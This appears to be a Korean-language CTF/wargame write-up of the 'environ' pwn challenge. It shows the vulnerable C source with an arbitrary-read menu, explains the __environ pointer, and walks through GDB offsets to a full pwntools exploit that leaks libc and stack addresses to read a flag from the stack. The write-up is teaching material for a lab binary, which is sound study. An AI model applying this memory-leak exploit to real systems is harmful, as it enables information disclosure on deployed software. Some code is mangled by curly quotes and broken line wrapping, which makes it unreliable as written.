Exploit Tech: __environ

Full RELRO and PIE, so the stack address is leaked through the environ pointer in libc instead.

2026.08.18 Pwn original post

chaeeun@chaeeuns-MacBook-Air 1b801be5-66b4-4950-9b5c-51a6c27923d1 % ls Dockerfile environ environ.c flag libc.so.6 chaeeun@chaeeuns-MacBook-Air 1b801be5-66b4-4950-9b5c-51a6c27923d1 % checksec ./environ [*] ‘/Users/chaeeun/Desktop/1b801be5-66b4-4950-9b5c-51a6c27923d1/environ’ Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No chaeeun@chaeeuns-MacBook-Air 1b801be5-66b4-4950-9b5c-51a6c27923d1 % cat environ.c // Name: environ.c // Compile: gcc -o environ environ.c #include <fcntl.h> #include <stdio.h>

#include <unistd.h> #include <signal.h> #include <stdlib.h> void sig_handle() { exit(0); } void init() {
setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); signal(SIGALRM, sig_handle); alarm(5); } void read_file() { char
file_buf[4096]; int fd = open("./flag", O_RDONLY); read(fd, file_buf, sizeof(file_buf) - 1); close(fd); } int
main() { char buf[1024]; long addr; int idx; init(); read_file(); printf("stdout: %p\n", stdout); while (1) {

printf(”> ”); scanf(“%d”, &idx); switch (idx) { case 1: printf(“Addr: ”); scanf(“%ld”, &addr); printf(“%s”, (char *)addr); break; default: break; } } return 0; } chaeeun@chaeeuns-MacBook-Air 1b801be5-66b4-4950-9b5c-51a6c27923d1 % 거의 모든 보호 기법이 들어갔다 할수있다.. 일단 이번 워게임의 주제인 환경 변수에대해서 설명하겠습니다. 환경 변수는 쉽게 말하면 프로그램이 실행될 때 같이 전달되는 설정값입니다.

예를 들면 리눅스에서 이런 것들이 환경 변수입니다.

PATH=/usr/bin:/bin
HOME=/home/user
USER=chaeeun
LANG=en_US.UTF-8

즉, 프로그램 입장에서는: “나는 어디서 실행됐고, 사용자는 누구고, 명령어 경로는 어디고, 언어 설정은 뭐지?” 같은 정보 를 환경 변수에서 가져올 수 있습니다. 이번 문제에서 중요한 건 환경 변수 자체의 값보다, environ 이라는 환경 변수 목록 을 가리키는 포인터입니다. environ은 libc 안에 있는 전역 변수이고, 대략 이런 역할입니다.

char **environ;

의미는: environ → 환경 변수 목록이 있는 stack 근처 주소. 즉, environ을 읽으면 스택 주소를 알아낼 수 있습니다.

  1. 첫번째로 __environ 주소입니다.

이 문제에서는 먼저 프로그램이 출력해주는 stdout 주소를 이용해 libc base 주소를 계산할 수 있다.

stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']

stdout은 libc 내부에 존재하는 객체이기 때문에, 실제 실행 중 출력된 stdout 주소에서 libc 안의 IO_2_1_stdout 오 프셋을 빼면 libc base 주소를 구할 수 있다.

그다음 libc 안에 있는 __environ 심볼 주소를 계산한다.

libc_environ = libc_base + elf.symbols['__environ']

__environ은 환경 변수 목록을 가리키는 포인터이다. 리눅스에서 환경 변수들은 보통 프로세스의 stack 영역 근처에 저장 된다. 따라서 __environ 값을 읽으면 stack 쪽 주소를 알아낼 수 있다.

정리하면 다음과 같다. stdout leak → libc base 계산 → libc 안의 __environ 주소 계산 → __environ 값을 읽어서 stack 주소 leak

  1. read_file()에서 flag가 저장되는 Stack 위치 확인

Figure 1

read_file() 함수는 flag 파일을 열어서 지역 변수인 file_buf에 내용을 읽어온다.

char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);

즉, flag 내용은 heap이나 전역 영역이 아니라 stack 영역에 저장된다. GDB로 read_file()을 disassemble 해보면 read() 호출 전에 버퍼 주소가 설정되는 부분을 확인할 수 있다.

lea rcx, [rbp-0x1010]
mov edx, 0xfff

mov rsi, rcx call read@plt

여기서 rcx가 file_buf의 주소이며, 이후 rsi로 전달되어 read()의 두 번째 인자인 buffer로 사용된다. 따라서 read() 직후 에 breakpoint를 걸면, rcx가 flag 내용이 들어갈 stack buffer 주소를 가리키고 있음을 확인할 수 있다.

b *read_file+93 r x/gx $rcx

이후 앞에서 구한 __environ 값과 $rcx 값을 비교하면, environ으로 leak한 stack 주소와 flag buffer 사이의 거리를 계 산할 수 있다.

p/x __environ

p/x 0x7fffffffe698 - 0x7fffffffd130

계산 결과 offset은 다음과 같다.

0x1568

즉, __environ으로 얻은 stack 주소에서 0x1568을 빼면 read_file()이 flag를 읽어둔 buffer 근처 주소를 구할 수 있다. p.sendlineafter(b’> ’, b’1’)

p.sendlineafter(b'Addr: ', str(environ).encode())
p_environ = u64(p.recvn(6).ljust(8, b'\x00'))
flag_buf = p_environ - 0x1568
#!/usr/bin/env python3 from pwn import * context.binary = './environ' context.log_level = 'debug' elf =

ELF(’./environ’) libc = ELF(’./libc.so.6’) p = remote(‘host’, port) # 1. stdout leak 받기 p.recvuntil(b’stdout: ’) stdout_leak = int(p.recvline().strip(), 16) log.info(f’stdout leak = {hex(stdout_leak)}’) # 2. libc base 계산

libc_base = stdout_leak - libc.symbols['_IO_2_1_stdout_'] environ_addr = libc_base +
libc.symbols['__environ'] log.info(f'libc base = {hex(libc_base)}') log.info(f'__environ = {hex(environ_addr)}')
def aar(addr): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'Addr: ', str(addr).encode()) return p.recvuntil(b'>
', drop=True) data = aar(environ_addr) stack_leak = u64(data[:6].ljust(8, b'\x00')) log.info(f'stack leak =
{hex(stack_leak)}') flag_buf = stack_leak - 0x1568 log.info(f'flag buffer = {hex(flag_buf)}') flag =
aar(flag_buf) log.success(f'flag = {flag}') p.interactive()